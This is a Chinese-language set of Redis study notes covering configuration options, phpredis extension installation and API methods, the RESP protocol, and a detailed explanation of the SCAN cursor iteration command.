指定更新日志文件名,默认为appendonly.aof
appendfsync everysec
指定更新日志条件,共有3个可选值:
no: 表示等操作系统进行数据缓存同步到磁盘(快)
always: 表示每次更新操作后手动调用fsync()将数据写到磁盘(慢,安全)
everysec: 表示每秒同步一次(折衷,默认值)
vm-enabled no
指定是否启用虚拟内存机制,默认no;VM机制将数据分页存放,由Redis将访问量较少的页即冷数据swap到磁盘上,访问多的页面由磁盘自动换出到内存中
vm-swap-file /tmp/redis.swap
虚拟内存文件路径,默认值为/tmp/redis.swap,不可多个Redis实例共享
vm-max-memory 0
将所有大于vm-max-memory的数据存入虚拟内存,无论vm-max-memory设置多小,所有索引数据都是内存存储的(Redis的索引数据 就是keys),当vm-max-memory设置为0的时候,其实是所有value都存在于磁盘。默认值为0
vm-page-size 32
Redis swap文件分成了很多的page,一个对象可以保存在多个page上面,但一个page上不能被多个对象共享,vm-page-size是要根据存储的 数据大小来设定的,作者建议如果存储很多小对象,page大小最好设置为32或者64bytes;如果存储很大大对象,则可以使用更大的page,如果不 确定,就使用默认值
vm-pages 134217728
设置swap文件中的page数量,由于页表(一种表示页面空闲或使用的bitmap)是在放在内存中的,,在磁盘上每8个pages将消耗1byte的内存。
vm-max-threads 4
设置访问swap文件的线程数,最好不要超过机器的核数,如果设置为0,那么所有对swap文件的操作都是串行的,可能会造成比较长时间的延迟。默认值为4
glueoutputbuf yes
设置在向客户端应答时,是否把较小的包合并为一个包发送,默认为开启
hash-max-zipmap-entries 64
hash-max-zipmap-value 512
指定在超过一定的数量或者最大的元素超过某一临界值时,采用一种特殊的哈希算法
activerehashing yes
指定是否激活重置哈希,默认为开启
include /path/to/local.conf
指定包含其它的配置文件,可以在同一主机上多个Redis实例之间使用同一份配置文件,而同时各个实例又拥有自己的特定配置文件
【 php-redis config 】
Get or Set theredisserver configuration parameters
Parameters
operation (string) either GET or SET
key string for SET,glob-pattern for GET
value optional string (only for SET)
Return value: Associative array for GET,key -> value,bool for SET
$redis->config("GET","*max-*-entries*"); // 通配符
$redis->config("SET","dir","/var/run/redis/dumps/");
php redis
Redis支持的客户端种类非常多,包括C、Java、PHP、Python等 Redis的客户端实际上担负了通过网络协议与Redis Server进行通信的过程,通信的过程必须遵循协议规范,让客户的调用更加符合特定语言的使用习惯。现有PHP客户端: rediska、phpredis、Predis,这些客户端中有纯PHP的实现方案如predis和Rediska,也有二进制版本的实现方案如phpredis(用c写的) 【 wamp添加redis扩展 Php-Redis 】 phpinfo()查看版本 php 5.6 Compiler MSVC11 (Visual C++ 2012) Architecture x64 PHP Extension Build API20131226,TS,VC11 Thread Safety enabled https://windows.php.net/downloads/pecl/releases/redis/2.2.7/php_redis-2.2.7-5.6-ts-vc11-x64.zip https://windows.php.net/downloads/pecl/releases/igbinary/2.0.6/php_igbinary-2.0.6-5.6-ts-vc11-x64.zip https://windows.php.net/downloads/pecl/snaps/redis/3.1.4/ 解压缩之后将php_redis.dll和php_igbinary.dll剪切到文件夹\bin\php\php5.6.16\ext中 修改apache\apache2.4.9\bin\php.ini,添加 [redis] ;php_redis extension=php_igbinary.dll extension=php_redis.dll 重启wamp即可在phpinfo()中看到redis enable 【 ubuntu PHP添加redis扩展 】 https://github.com/phpredis/phpredis/blob/develop/INSTALL.markdown Installation from pecl To pull latest stable released version,from pecl: pecl install redis php -i | grep php.ini查看加载的php.ini,添加extension=redis.so 【 Redis客户端和服务端之间的通信协议 】 Redis是典型的C/S架构软件,Client和Server之间通过TCP连接进行通信,所以原则上只要是支持socket编程的语言都可以用来编写Redis的客户端,PHP自然也不例外,只是一般习惯上或出于性能考虑,使用C编写的Redis扩展。 可以使用简单易用的stream_socket_*族函数来进行socket编程 要编写Redis扩展,首先得了解Redis客户端和服务端之间的通信协议,官方称之为RESP(REdis Serialization Protocol),这个协议其实还是很简单易懂的: 1、所有命令和数据以"\r\n"结尾 2、服务器根据执行的命令返回不同类型的结果,不同的数据类型用第一个字符标识如下: "+"服务器返回一个简单字符串结果,比如set foo bar命令返回+OK\r\n "-"命令执行出错,比如-WRONGTYPE Operation against a key holding the wrong kind of value\r\n ":"整数结果,比如dbsize命令返回:1000\r\n "$"二进制安全的长字符串结果,比如get foo命令返回$3\r\nbar\r\n,其中数字3的位置表示字符串长度,字符串被一对\r\n包含 "*"返回结果是一个数组,比如hkeys foobar命令返回*2\r\n$3\r\nfoo\r\n$3\r\nbar\r\n,其中*后数字2的位置表示元素个数,之后可以是以上各种基本类型的组合。 3、客户端发送命令通过长字符串数组形式,例如查询set foobar hello命令写成*3\r\n$3\r\nset\r\n$6\r\nfoobar\r\n$5\r\nhello\r\n代码优化封装【 php操作redis常用操作 】
php_redis connection
Class Redis
$redis = new Redis(); // Creates a redis client
Class RedisException
phpredis throws a RedisException object if it can't reach theredisserver
Predefined constants: Available redis Constants
Redis data types,as returned by type: $redis->type('key');
Redis::REDIS_STRING - String
Redis::REDIS_LIST - List
Redis::REDIS_SET - Set
Redis::REDIS_ZSET - Sorted set
Redis::REDIS_HASH - Hash
Redis::REDIS_NOT_FOUND - Not found / other
【 连接connect,close 】
Parameters
host: string. can be a host,or the path to a unix domain socket
port: int,optional
timeout: float,value in seconds (optional,default is 0 meaning unlimited)
reserved: should be NULL if retry_interval is specified
retry_interval: int,value in milliseconds (optional)
read_timeout: float,value in seconds (optional,default is 0 meaning unlimited)
$redis->connect('127.0.0.1',6379); // 成功返回true,失败返回false
$redis->connect('127.0.0.1'); // port 6379 by default
$redis->connect('127.0.0.1',6379,2.5); // 2.5 sec timeout
$redis->connect('/tmp/redis.sock'); // unix domain socket
$redis->connect('127.0.0.1',6379,1,NULL,100); // 1 sec timeout,100ms delay between reconnection attempts
$redis->close();
【 长连接,返回布尔 pconnect 】
Parameters
host: string. can be a host,or the path to a unix domain socket
port: int,optional
timeout: float,value in seconds (optional,default is 0 meaning unlimited)
persistent_id: string. identity for the requested persistent connection
retry_interval: int,value in milliseconds (optional)
read_timeout: float,value in seconds (optional,default is 0 meaning unlimited)
$redis->pconnect('127.0.0.1',6379);
$redis->pconnect('127.0.0.1'); // port 6379 by default - same connection like before
$redis->pconnect('127.0.0.1',6379,2.5); // 2.5 sec timeout and would be another connection than the two before
$redis->pconnect('127.0.0.1',6379,2.5,'x'); // x is sent as persistent_id and would be another connection than the three before
$redis->pconnect('/tmp/redis.sock'); // unix domain socket - would be another connection than the four before
利用redis实现消息队列处理高并发请求
【 auth 】
$redis->auth('foobared'); // 返回布尔
【 select 】
$redis->select(0); // switch to DB 0,返回布尔
【 setOption 】
Set client option 返回布尔,get client option
$redis->setOption(Redis::OPT_SERIALIZER,Redis::SERIALIZER_NONE); // don't serialize data
$redis->setOption(Redis::OPT_SERIALIZER,Redis::SERIALIZER_PHP); // use built-in serialize/unserialize
$redis->setOption(Redis::OPT_SERIALIZER,Redis::SERIALIZER_IGBINARY); // use igBinary serialize/unserialize
$redis->setOption(Redis::OPT_PREFIX,'myAppName:'); // use custom prefix on all keys
Options for the SCAN family of commands,indicating whether to abstract empty results from the user
If set to SCAN_NORETRY,phpredis
will just issue one SCAN command at a time,sometimes returning an empty array of results
If set to SCAN_RETRY,phpredis will retry the scan command
until keys come back ORredisreturns an iterator of zero
$redis->setOption(Redis::OPT_SCAN,Redis::SCAN_NORETRY); // the default
$redis->setOption(Redis::OPT_SCAN,Redis::SCAN_RETRY);
【 getOption 】
// return Redis::SERIALIZER_NONE,Redis::SERIALIZER_PHP,or Redis::SERIALIZER_IGBINARY
$redis->getOption(Redis::OPT_SERIALIZER);
【 ping 】
$redis->ping(); // return STRING: +PONG on success. Throws a RedisException object on connectivity error
【 echo 】
$redis->echo('string'); // Sends a string to Redis,which replies with the same string
php_redis server
$redis->bgRewriteAOF(); // 返回布尔,Start the background rewrite of AOF (Append-Only File)
$redis->bgSave(); // 返回布尔,Asynchronously save the dataset to disk (in background)
【 dbSize 】
$redis->dbSize(); // Return the number of keys in selected database
【 flushAll,flushDb 】
$redis->flushAll(); // always return true,Remove all keys from all databases
$redis->flushDb(); // always return true,Remove all keys from the current database
【 info 】
Get information and statistics about the server
$redis->info(); // standardredisINFO command
$redis->info("COMMANDSTATS"); // Information on the commands that have been run (>=2.6 only)
$redis->info("CPU"); // just CPU information fromredisINFO
【 save,lastSave 】
$redis->save(); // return bool; Synchronously save the dataset to disk (wait to complete)
$redis->lastSave(); // Returns the timestamp of the last disk save
【 resetStat 】
$redis->resetStat(); // return bool; Reset the stats returned by info method
【 time 】
$redis->time();
return the current server time
If successful,the time will come back as an associative array with element zero being the unix timestamp,and element one being microseconds
【 slaveOf 】
Changes the slave status,return bool
$redis->slaveOf('10.0.1.7',6379);
$redis->slaveOf();
【 slowLog 】
$redis->slowLog('get',10); // Get ten slowLog entries
$redis->slowLog('get'); // Get the default number of slowLog entries
$redis->slowLog('reset'); // Reset our slowLog
$redis->slowLog('len'); // Retrieve slowLog length
Introspection
【 isConnected 】 A method to determine if a phpredis object thinks it's connected to a server None Parameters,Boolean Returns TRUE if phpredis thinks it's connected and FALSE if not var_dump($redis->isConnected()); // bool true 【 getHost 】 Retrieve our host or unix socket that we're connected to None Parameters,Return Mixed The host or unix socket we're connected to or FALSE if we're not connected var_dump($redis->getHost()); // string '127.0.0.1' 【 getPort 】 Get the port we're connected to None Parameters,Mixed Returns the port we're connected to or FALSE if we're not connected var_dump($redis->getPort()); // int 3679 【 getDbNum 】 Get the database number phpredis is pointed to None Parameters,Mixed Returns the database number (LONG) phpredis thinks it's pointing to or FALSE if we're not connected var_dump($redis->getDbNum()); // int 0 【 getTimeout 】 Get the (write) timeout in use for phpredis None Parameters,Retur Mixed The timeout (DOUBLE) specified in our connect call or FALSE if we're not connected var_dump($redis->getTimeout()); // float 0 【 getReadTimeout 】 Get the read timeout specified to phpredis or FALSE if we're not connected None Parameters,Mixed Returns the read timeout (which can be set using setOption and Redis::OPT_READ_TIMEOUT) or FALSE if we're not connected var_dump($redis->getReadTimeout()); // float 0 【 getPersistentID 】 Gets the persistent ID that phpredis is using None Parameters,Mixed Returns the persistent id phpredis is using (which will only be set if connected with pconnect),NULL if we're not using a persistent ID,and FALSE if we're not connected var_dump($redis->getPersistentID()); // null 【 getAuth 】 Get the password used to authenticate the phpredis connection None Parameters,Mixed Returns the password used to authenticate a phpredis session or NULL if none was used,and FALSE if we're not connected var_dump($redis->getAuth()); // null
Redis键命令用于管理Redis中的键
redis-cli -h 192.168.0.8 -p 6380 keys "obj_base_*" |xargs redis-cli -h 192.168.0.8 -p 6380 del // linux利用管道批量删除 redis> exists mykey // 检查给定的key是否存在,返回1或0 redis> randomkey // 从当前数据库中随机返回一个key,数据库为空时返回nil redis> type mykey // 返回key所储存的值的类型,不存在返回none redis> del mykey // 删除键值对,(integer)1成功,(integer)0失败 redis> del mykey1 mykey2 mykey3 redis> move mykey 1 // 将当前数据库的key移动到给定的db数据库1当中,成功1,两数据库有相同的key时失败0 redis> dump mykey // 序列化key并返回被序列化的值或nil,"\x00\x03abc\a\x00&\x9e\xe5\xceI\xb8w\xf8" redis> KEYS * // 获取redis中所有的key redis> KEYS my* // 查找所有符合给定模式pattern的key,返回符合给定模式的key列表(Array) redis> dbsize // 返回当前数据库的key的数量 redis> rename message greeting // 修改key的名称,成功提示OK,失败返回一个错误,当新名旧名相同或旧名不存在时返回一个错误,当新名已经存在时将覆盖旧值 redis> renamenx player best_player // 在新的key不存在时修改key的名称,修改成功返回1,NEW_KEY_NAME已经存在返回0 redis> expire mykey 60 // 设置key过期时间,key过期后自动删除不可用,单位秒,成功返回1,失败或key不存在返回0 redis> expireat mykey 1293840000 // 同expire,不同在于以UNIX时间戳(unix timestamp)格式设置key的过期时间 redis> pexpire mykey 1500 // 同expire,但以毫秒为单位 redis> pexpireat mykey 1293840000 // 同pexpireat,但以毫秒为单位 redis> persist mykey // 移除给定key的过期时间,使得key永不过期 redis> pttl mykey // 毫秒为单位返回key的剩余过期时间,key不存在返回-2,key 存在但没设置剩余生存时间时返回-1 redis> ttl mykey // time to live,同PTTL,但以秒为单位redis锁
不友好的方式分别要与redis进行两次网络通信,而友好的方式只有一次,性能提升一倍。
结论:大多数的情况下都是不需要exists的。使用exists的场景,只能用在就单单判断key是否存在,无需后续操作redis的情况,才是最合适。
【 scan命令 】
SCAN cursor [MATCH pattern] [COUNT count]
SCAN命令及其相关的SSCAN命令、HSCAN命令和ZSCAN命令都用于增量地迭代(incrementally iterate)一集元素(a collection of elements):
SCAN命令用于迭代当前数据库中的数据库键。
SSCAN命令用于迭代集合键中的元素。
HSCAN命令用于迭代哈希键中的键值对。
ZSCAN命令用于迭代有序集合中的元素(包括元素成员和元素分值)。
以上列出的四个命令都支持增量式迭代,它们每次执行都只会返回少量元素,所以这些命令可以用于生产环境,而不会出现像KEYS命令、SMEMBERS命令带来的问题,当KEYS命令被用于处理一个大的数据库时,又或者SMEMBERS命令被用于处理一个大的集合键时,它们可能会阻塞服务器达数秒之久。keys命令会造成redis阻塞
增量式迭代命令也不是没有缺点的:例如使用SMEMBERS命令可以返回集合键当前包含的所有元素,但对于SCAN这类增量式迭代命令来说,因为在对键进行增量式迭代的过程中,键可能会被修改,所以增量式迭代命令只能对被返回的元素提供有限的保证(offer limited guarantees about the returned elements)
因为SCAN、SSCAN、HSCAN和ZSCAN四个命令的工作方式都非常相似,但记住:
SSCAN命令、HSCAN命令和ZSCAN命令的第一个参数总是一个数据库键。
而SCAN命令则不需要在第一个参数提供任何数据库键,因为它迭代的是当前数据库中的所有数据库键。
Redis是单线程的,因此在使用一些时间复杂度为O(N)的命令时要非常谨慎,可能一不小心就会阻塞进程,导致Redis出现卡顿。
有时需要针对符合条件的一部分命令进行操作,比如删除以test_开头的key。那么怎么获取到这些key呢?在Redis2.8版本之前可以使用keys命令按照正则匹配得到需要的key。但是这个命令有两个缺点:
没有limit,只能一次性获取所有符合条件的key,如果结果有上百万条,那么等待你的就是"无穷无尽"的字符串输出。
keys命令是遍历算法,时间复杂度是O(N),这个命令非常容易导致Redis服务卡顿。因此要尽量避免在生产环境使用该命令。
在满足需求和存在造成Redis卡顿之间究竟要如何选择呢?面对这个两难的抉择,Redis在2.8版本提供了解决办法——scan命令。
相比于keys命令,scan命令有两个比较明显的优势:
scan命令的时间复杂度虽然也是O(N),但它是分次进行的,不会阻塞线程。
scan命令提供了limit参数,可以控制每次返回结果的最大条数。
这两个优势就解决了上面的难题,不过scan命令也并不是完美的,它返回的结果有可能重复,因此需要客户端去重
SCAN命令的基本用法
SCAN命令是一个基于游标的迭代器(cursor based iterator): SCAN命令每次被调用后都会向用户返回一个新的游标, 用户在下次迭代时需要使用这个新游标作为SCAN命令的游标参数,以此来延续之前的迭代过程。
当SCAN命令的游标参数被设置为0时,服务器将开始一次新的迭代,而当服务器向用户返回值为0的游标时,表示迭代已结束。
redis 127.0.0.1:6379> scan 0
1) "17"
2) 1) "key:12"
2) "key:8"
3) "key:4"
4) "key:14"
5) "key:16"
6) "key:17"
7) "key:15"
8) "key:10"
9) "key:3"
10) "key:7"
11) "key:1"
redis 127.0.0.1:6379> scan 17
1) "0"
2) 1) "key:5"
2) "key:18"
3) "key:0"
4) "key:2"
5) "key:19"
6) "key:13"
7) "key:6"
8) "key:9"
9) "key:11"
上面例子中,第一次迭代使用0作为游标,表示开始一次新的迭代,第二次迭代使用的是第一次迭代时返回的游标,也即是命令回复第一个元素的值17
SCAN命令的回复是一个包含两个元素的数组,第一个数组元素是用于进行下一次迭代的新游标,而第二个数组元素则是一个包含了所有被迭代的元素的数组
在第二次调用SCAN命令时,命令返回了游标0,这表示迭代已经结束, 整个数据集(collection)已经被完整遍历过了。
以0作为游标开始一次新的迭代,一直调用SCAN命令,直到命令返回游标0,这个过程为一次完整遍历(full iteration)。
SCAN命令的保证(guarantees)
SCAN命令及其他增量式迭代命令,在进行完整遍历的情况下可以为用户带来以下保证: 从完整遍历开始直到完整遍历结束期间,一直存在于数据集内的所有元素都会被完整遍历返回;如果有一个元素从遍历开始直到遍历结束期间都存在于被遍历的数据集当中,那么SCAN命令总会在某次迭代中将这个元素返回给用户。
然而因为增量式命令仅仅使用游标来记录迭代状态, 所以这些命令带有以下缺点:
同一个元素可能会被返回多次,处理重复元素的工作交由应用程序负责,比如可以考虑将迭代返回的元素仅仅用于可以安全地重复执行多次的操作上。
如果一个元素是在迭代过程中被添加到数据集的,又或者是在迭代过程中从数据集中被删除的,那么这个元素可能会被返回,也可能不会,这是未定义的(undefined)。
SCAN命令每次执行返回的元素数量
增量式迭代命令并不保证每次执行都返回某个给定数量的元素。
增量式命令甚至可能会返回零个元素,但只要命令返回的游标不是0,应用程序就不应该将迭代视作结束。
不过命令返回的元素数量总是符合一定规则的,在实际中:
对于一个大数据集来说,增量式迭代命令每次最多可能会返回数十个元素;
而对于一个足够小的数据集来说,如果这个数据集的底层表示为编码数据结构(encoded data structure,适用于是小集合键、小哈希键和小有序集合键),那么增量迭代命令将在一次调用中返回数据集中的所有元素。
最后用户可以通过增量式迭代命令提供的COUNT选项来指定每次迭代返回元素的最大值。
COUNT选项
虽然增量式迭代命令不保证每次迭代所返回的元素数量,但可以使用COUNT选项对命令的行为进行一定程度上的调整。
基本上COUNT选项的作用就是让用户告知迭代命令,在每次迭代中应该从数据集里返回多少元素。
虽然COUNT选项只是对增量式迭代命令的一种提示(hint),但在大多数情况下这种提示都是有效的。
COUNT参数的默认值为10
在迭代一个足够大的、由哈希表实现的数据库、集合键、哈希键或者有序集合键时,如果用户没有使用MATCH选项,那么命令返回的元素数量通常和COUNT选项指定的一样,或者比COUNT选项指定的数量稍多一些。
在迭代一个编码为整数集合(intset,一个只由整数值构成的小集合)、或者编码为压缩列表(ziplist,由不同值构成的一个小哈希或者一个小有序集合)时,增量式迭代命令通常会无视COUNT选项指定的值, 在第一次迭代就将数据集包含的所有元素都返回给用户。
并非每次迭代都要使用相同的COUNT值,用户可以在每次迭代中按自己的需要随意改变COUNT值,只要记得将上次迭代返回的游标用到下次迭代里面就可以了。
Redis使用了Hash表作为底层实现,原因不外乎高效且实现简单,Redis底层key的存储结构就是类似于Java HashMap那样数组+链表的结构。其中第一维的数组大小为2n(n>=0)。每次扩容数组长度扩大一倍。scan命令就是对这个一维数组进行遍历。每次返回的游标值也都是这个数组的索引。COUNT参数表示遍历多少个数组的元素,将这些元素下挂接的符合条件的结果都返回。因为每个元素下挂接的链表大小不同,所以每次返回的结果数量也就不同。
MATCH选项
和KEYS命令一样,增量式迭代命令也可通过提供一个glob风格的模式参数,让命令只返回和给定模式相匹配的元素,可通过在执行增量式迭代命令时通过给定MATCH < pattern>参数实现。
redis 127.0.0.1:6379> sadd myset 1 2 3 foo foobar feelsgood
(integer) 6
redis 127.0.0.1:6379> sscan myset 0 match f*
1) "0"
2) 1) "foo"
2) "feelsgood"
3) "foobar"
对元素的模式匹配工作是在命令从数据集中取出元素之后,向客户端返回元素之前的这段时间内进行的,所以如果被迭代的数据集中只有少量元素和模式相匹配,那么迭代命令或许会在多次执行中都不返回任何元素。
以下是这种情况的一个例子:
redis 127.0.0.1:6379> scan 0 MATCH *11*
1) "288"
2) 1) "key:911"
redis 127.0.0.1:6379> scan 288 MATCH *11*
1) "224"
2) (empty list or set)
redis 127.0.0.1:6379> scan 224 MATCH *11*
1) "80"
2) (empty list or set)
redis 127.0.0.1:6379> scan 80 MATCH *11*
1) "176"
2) (empty list or set)
redis 127.0.0.1:6379> scan 176 MATCH *11* COUNT 1000
1) "0"
2) 1) "key:611"
2) "key:711"
3) "key:118"
4) "key:117"
5) "key:311"
6) "key:112"
7) "key:111"
8) "key:110"
9) "key:113"
10) "key:211"
11) "key:411"
12) "key:115"
13) "key:116"
14) "key:114"
15) "key:119"
16) "key:811"
17) "key:511"
18) "key:11"
在最后一次迭代,通过将COUNT选项的参数设置为1000,强制命令为本次迭代扫描更多元素,从而使得命令返回的元素也变多了
SCAN的遍历顺序
关于scan命令的遍历顺序,我们可以用一个小栗子来具体看一下。
127.0.0.1:6379> keys *
1) "db_number"
2) "key1"
3) "myKey"
127.0.0.1:6379> scan 0 MATCH * COUNT 1
1) "2"
2) 1) "db_number"
127.0.0.1:6379> scan 2 MATCH * COUNT 1
1) "1"
2) 1) "myKey"
127.0.0.1:6379> scan 1 MATCH * COUNT 1
1) "3"
2) 1) "key1"
127.0.0.1:6379> scan 3 MATCH * COUNT 1
1) "0"
2) (empty list or set)
Redis中有3个key,我们每次只遍历一个一维数组中的元素。如上所示,SCAN命令的遍历顺序是
0->2->1->3
这个���序看起来有些奇怪,把它转换成二进制就好理解一些了。
00->10->01->11
每次这个序列是高位加1的。普通二进制的加法,是从右往左相加、进位。而这个序列是从左往右相加、进位的,这一点在redis的源码中也得到印证
为什么要使用这样的顺序进行遍历,而不是用正常的0、1、2……这样的顺序呢,这是因为需要考虑遍历时发生字典扩容与缩容的情况
并发执行多个迭代
在同一时间可以有任意多个客户端对同一数据集进行迭代,客户端每次执行迭代都需要传入一个游标,并在迭代执行之后获得一个新的游标,而这个游标就包含了迭代的所有状态, 因此服务器无须为迭代记录任何状态。
中途停止迭代
因为迭代的所有状态都保存在游标里面,而服务器无须为迭代保存任何状态, 所以客户端可以在中途停止一个迭代, 而无须对服务器进行任何通知。
即使有任意数量的迭代在中途停止, 也不会产生任何问题。
使用错误的游标进行增量式迭代
使用间断的(broken)、负数、超出范围或者其他非正常的游标来执行增量式迭代并不会造成服务器崩溃,但可能会让命令产生未定义的行为。
未定义行为指的是增量式命令对返回值所做的保证可能会不再为真。
只有两种游标是合法的:
在开始一个新的迭代时,游标必须为0
增量式迭代命令在执行之后返回的,用于延续(continue)迭代过程的游标。
迭代终结的保证
增量式迭代命令所使用的算法只保证在数据集的大小有界(bounded)的情况下,迭代才会停止, 换句话说,如果被迭代数据集的大小不断地增长的话,增量式迭代命令可能永远也无法完成一次完整迭代。
从直觉上可以看出,当一个数据集不断地变大时,想要访问这个数据集中的所有元素就需要做越来越多的工作,能否结束一个迭代取决于用户执行迭代的速度是否比数据集增长的速度更快。
可用版本:
>= 2.8.0
时间复杂度:
增量式迭代命令每次执行的复杂度为O(1),对数据集进行一次完整迭代的复杂度为O(N),其中N为数据集中的元素数量。
返回值:
SCAN命令、SSCAN命令、HSCAN命令和ZSCAN命令都返回一个包含两个元素的multi-bulk回复: 回复的第一个元素是字符串表示的无符号64位整数(游标),回复的第二个元素是另一个 multi-bulk回复, 这个multi-bulk回复包含了本次被迭代的元素。
SCAN命令返回的每个元素都是一个数据库键。
SSCAN命令返回的每个元素都是一个集合成员。
HSCAN命令返回的每个元素都是一个键值对,一个键值对由一个键和一个值组成。
ZSCAN命令返回的每个元素都是一个有序集合元素,一个有序集合元素由一个成员(member)和一个分值(score)组成。
php_redis Keys
【 del,delete,unlink(4.0.0+) 】
Remove specified keys,Return Long Number of keys deleted
The redis unlink command is non-blocking and will perform the actual deletion asynchronously.
$redis->set('key1','val1');
$redis->set('key2','val2');
$redis->set('key3','val3');
$redis->set('key4','val4');
$redis->del('key1','key2'); // 2
$redis->del(array('key3','key4')); // 2
$redis->unlink('key1','key2');
$redis->unlink(Array('key1','key2'));
php-redis 5 版本弃用了 Redis::delete()
被弃用方法名 替代方法名
delete del
zUnion zunionstore
zInter zinterstore
zDeleteRangeByRank zRemRangeByRank
zDeleteRangeByScore zRemRangeByScore
zDelete zRem
setTimeout expire
sContains sismember
sRemove srem
sSize scard
lGetRange lrange
lGet lindex
listTrim ltrim
lRemove lrem
lSize lLen
删除前缀是test:的key
【 exists 】
Verify if the specified key exists
$redis->set('key','value');
$redis->exists('key'); // 1
$redis->exists('NonExistingKey'); // 0
$redis->mset(['foo' => 'foo','bar' => 'bar','baz' => 'baz']);
$redis->exists(['foo','bar','baz]); // 3
$redis->exists('foo','bar','baz'); // 3
【 randomKey 】
Returns a random key,Return STRING value: an existing key in redis.
$key = $redis->randomKey();
$surprise = $redis->get($key);
【 move 】
Moves a key to a different database,Return TRUE in case of success,FALSE in case of failure.
$redis->select(0); // switch to DB 0
$redis->set('x','42'); // write 42 to x
$redis->move('x',1); // move to DB 1
$redis->select(1); // switch to DB 1
$redis->get('x'); // will return 42
【 rename,renameKey 】
Renames a key,Return BOOL: TRUE in case of success,FALSE in case of failure.
$redis->set('x','42');
$redis->rename('x','y');
$redis->get('y'); // 42
$redis->get('x'); // `FALSE`
【 renameNx 】
Same as rename,but will not replace a key if the destination already exists. This is the same behaviour as setNx.
【 type 】
Returns the type of data pointed by a given key.
n value Depending on the type of the data pointed by the key,this method will return the following value:
string: Redis::REDIS_STRING
set: Redis::REDIS_SET
list: Redis::REDIS_LIST
zset: Redis::REDIS_ZSET
hash: Redis::REDIS_HASH
other: Redis::REDIS_NOT_FOUND
$redis->type('key');
【 keys,getKeys 】
Returns the keys that match a certain pattern.
STRING Parameter: pattern,using '*' as a wildcard.
Return Array of STRING: The keys that match a certain pattern.
$allKeys = $redis->keys('*'); // all keys will match this.
$keyWithUserPrefix = $redis->keys('user*');
$redis->keys('f?o?');
【 sort 】
Sort the elements in a list,set or sorted set
Parameters
Key: key
Options: array(key => value,...) - optional,with the following keys and values:
'by' => 'some_pattern_*',
'limit' => array(0,1),
'get' => 'some_other_pattern_*' or an array of patterns,
'sort' => 'asc' or 'desc',
'alpha' => TRUE,
'store' => 'external-key' // 外部
Return value
An array of values,or a number corresponding to the number of elements stored if that was used.
$redis->del('s');
$redis->sAdd('s',5);
$redis->sAdd('s',4);
$redis->sAdd('s',2);
$redis->sAdd('s',1);
$redis->sAdd('s',3);
var_dump($redis->sort('s')); // ['1','2','3','4','5']
var_dump($redis->sort('s',array('sort' => 'desc'))); // ['5','4','3','2','1']
var_dump($redis->sort('s',array('sort' => 'desc','store' => 'out'))); // (int)5
【 expire,setTimeout,pexpire 】
Sets an expiration date (a timeout) on an item. pexpire requires a TTL in milliseconds.
Parameters
Key: key. The key that will disappear.
Integer: ttl. The key's remaining Time To Live,in seconds.
Return value
BOOL: TRUE in case of success,FALSE in case of failure.
$redis->set('x','42');
$redis->setTimeout('x',3); // x will disappear in 3 seconds.
sleep(5); // wait 5 seconds
$redis->get('x'); // will return `FALSE`,as 'x' has expired.
【 expireAt,pexpireAt 】
Sets an expiration date (a timestamp) on an item. pexpireAt requires a timestamp in milliseconds.
Parameters
Key: key. The key that will disappear.
Integer: Unix timestamp. The key's date of death,in seconds from Epoch time.
Return value
BOOL: TRUE in case of success,FALSE in case of failure.
$redis->set('x','42');
$redis->expireAt('x',time() + 3); // x will disappear in 3 seconds.
sleep(5); // wait 5 seconds
$redis->get('x'); // will return `FALSE`,as 'x' has expired.
【 ttl,pttl 】
Returns the time to live left for a given key in seconds (ttl),or milliseconds (pttl).
Return LONG: The time to live in seconds. If the key has no ttl,-1 will be returned,and -2 if the key doesn't exist.
$redis->ttl('key');
【 persist 】
Remove the expiration timer from a key,让key永不过期
Return BOOL: TRUE if a timeout was removed,FALSE if the key didn't exist or didn't have an expiration timer.
$redis->persist('key');
【 scan 】
Scan the keyspace for keys
Parameters
LONG (reference): Iterator,initialized to NULL STRING,Optional: Pattern to match LONG,Optional: Count of keys per iteration (only a suggestion to Redis)
Return value
return an array of keys or FALSE if redis returned zero keys
scan命令返回的结果有可能重复,需要客户端去重以下示例的$it会自动变化
【 object 】
Describes the object pointed to by a key.
Parameters
The information to retrieve (string) and the key (string). Info can be "encoding"、"refcount" or "idletime"
Return value
STRING for "encoding",LONG for "refcount" and "idletime",FALSE if the key doesn't exist.
$redis->object("encoding","l"); // ziplist
$redis->object("refcount","l"); // 1
$redis->object("idletime","l"); // 400 (in seconds,with a precision of 10 seconds).
【 dump 】
Dump a key out of a redis database,the value of which can later be passed into redis using the RESTORE command.
The data that comes out of DUMP is a binary representation of the key asredisstores it.
Parameters
key string
Return value
The redis encoded value of the key,or FALSE if the key doesn't exist
$redis->set('foo','bar');
$val = $redis->dump('foo'); // $val will be the redise ncoded key value
【 restore 】
Restore a key from the result of a DUMP operation.
Parameters
key string. The key name
ttl integer. How long the key should live (if zero,no expire will be set on the key)
value string (binary). Theredisencoded key value (from DUMP)
$redis->set('foo','bar');
$val = $redis->dump('foo');
$redis->restore('bar',0,$val); // The key 'bar',will now be equal to the key 'foo'
【 migrate 迁移 】
Migrates a key to a different redis instance.
Redis introduced migrating multiple keys in 3.0.6,so you must have at least that version in order to call migrate with an array of keys.
Parameters
host string. The destination host
port integer. The TCP port to connect to.
key(s) string or array.
destination-db integer. The target DB.
timeout integer. The maximum amount of time given to this transfer.
copy boolean,optional. Should we send the COPY flag to redis.
replace boolean,optional. Should we send the REPLACE flag to redis
$redis->migrate('backup',6379,'foo',0,3600);
$redis->migrate('backup',6379,'foo',0,3600,true,true); /* copy and replace */
$redis->migrate('backup',6379,'foo',0,3600,false,true); /* just REPLACE flag */
/* Migrate multiple keys (requiresredis>= 3.0.6)
$redis->migrate('backup',6379,['key1','key2','key3'],0,3600);
字符串 string类型
